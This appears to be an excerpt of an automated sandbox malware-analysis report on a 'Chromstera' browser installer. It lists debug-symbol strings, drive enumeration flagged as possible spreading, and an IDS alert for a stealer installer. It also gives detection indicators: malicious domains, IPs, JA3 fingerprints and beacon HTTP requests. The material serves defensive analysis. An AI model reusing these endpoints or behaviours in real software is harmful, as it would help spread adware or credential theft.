Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbR source: powershell.exe, 00000006.00000002.1833673011.000002526E2D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x64\viewer.pdbC source: setup.exe, MSI4739.tmp.1.dr, MSIFB77.tmp.1.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdbfi source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb34e089 source: powershell.exe, 00000006.00000002.1831930535.000002526E104000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\Prereq.pdb source: setup.exe, Chromnius-Main.msi.0.dr
Source:	Binary string: on.pdb source: powershell.exe, 00000006.00000002.1831930535.000002526E09C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb34e089q8 source: powershell.exe, 00000006.00000002.1831930535.000002526E104000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000006.00000002.1831930535.000002526E09C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1829332042.000002526C18F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdbm source: setup.exe, MSI3250.tmp.0.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: \Sre.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.PowerShell.Commands.Utility.pdbpdbity.pdb89+&\| source: powershell.exe, 00000006.00000002.1831930535.000002526E104000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\stubs\x86\ExternalUi.pdb source: setup.exe
Source:	Binary string: System.Management.Automation.pdblb source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\aischeduler2.pdb source: setup.exe, MSICC66.tmp.1.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\PowerShellScriptLauncher.pdb source: setup.exe, MSIEC26.tmp.1.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdblat* source: powershell.exe, 00000006.00000002.1831930535.000002526E09C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb[ source: powershell.exe, 00000006.00000002.1831930535.000002526E129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbd50a source: powershell.exe, 00000006.00000002.1831930535.000002526E129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E313000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\tempFiles.pdb) source: setup.exe, MSI35A6.tmp.0.dr, tempFiles.dll.0.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: \??\C:\Windows\dll\System.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x64\viewer.pdb source: setup.exe, MSI4739.tmp.1.dr, MSIFB77.tmp.1.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb'iM source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbtionmw source: powershell.exe, 00000006.00000002.1831930535.000002526E129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000006.00000002.1829332042.000002526C18F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wininet.pdbUGP source: setup.exe, 00000000.00000003.1719958497.0000000005251000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000003.1746421738.00000000039F2000.00000004.00000020.00020000.00000000.sdmp, shi3105.tmp.0.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdb source: setup.exe, MSI3250.tmp.0.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\lzmaextractor.pdb source: setup.exe, lzmaextractor.dll.0.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: setup.exe, MSI3193.tmp.0.dr, MSICBB9.tmp.1.dr, MSICA7D.tmp.1.dr, MSI331F.tmp.0.dr, MSI35E5.tmp.0.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdb source: setup.exe, viewer.exe.0.dr, Chromnius-Main.msi.0.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\tempFiles.pdb source: setup.exe, MSI35A6.tmp.0.dr, tempFiles.dll.0.dr, Chromnius-Main.msi.0.dr

Spreading

Checks for available system drives (often done to infect USB drives)

Source: C:\Users\user\Desktop\setup.exe	File opened: z:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: x:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: v:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: t:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: r:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: p:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: n:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: l:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: j:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: h:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: f:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: b:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: y:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: w:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: u:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: s:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: q:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: o:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: m:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: k:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: i:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: g:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: c:
Source: C:\Users\user\Desktop\setup.exe	File opened: a:	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00CCBDA0 FindFirstFileW,GetLastError,FindClose,	0_2_00CCBDA0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BC2290 FindClose,PathIsUNCW,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,_wcsrchr,_wcsrchr,PathIsUNCW,	0_2_00BC2290
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00CCB3A0 _wcsrchr,_wcsrchr,FindFirstFileW,FindFirstFileW,FindFirstFileW,FindClose,FindClose,_wcsrchr,	0_2_00CCB3A0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00CCB7D0 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,GetFileAttributesW,FindNextFileW,	0_2_00CCB7D0
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_000DEAA0 GetLastError,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindClose,	8_2_000DEAA0
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_00184E5C FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_00184E5C

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2829202 - Severity 1 - ETPRO MALWARE MSIL/Zbrain PUP/Stealer Installer UA : 192.168.2.4:49734 -> 104.21.8.139:443

Yara detected MalDoc

Source: Yara match	File source: C:\Windows\Installer\6bc77d.msi, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install\Chromnius-Main.msi, type: DROPPED

Detected non-DNS traffic on DNS port

Source: global traffic

TCP traffic: 192.168.2.4:59151 -> 1.1.1.1:53

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /cross/crx3dynamic/?adv=426&v=4.4&time=1730139128 HTTP/1.1Host: secure.chromstera.comConnection: Keep-Alive

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.130.133
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.194.133
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.130.133
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.194.133
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45

Source: global traffic	HTTP traffic detected: GET /cross/crx3dynamic/?adv=426&v=4.4&time=1730139128 HTTP/1.1Host: secure.chromstera.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/updates.txt HTTP/1.1Accept: /User-Agent: AdvancedInstallerHost: chromsteraupdates.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pUkVGK2e4kgEmE9&MD=mNzcmBgT HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pUkVGK2e4kgEmE9&MD=mNzcmBgT HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
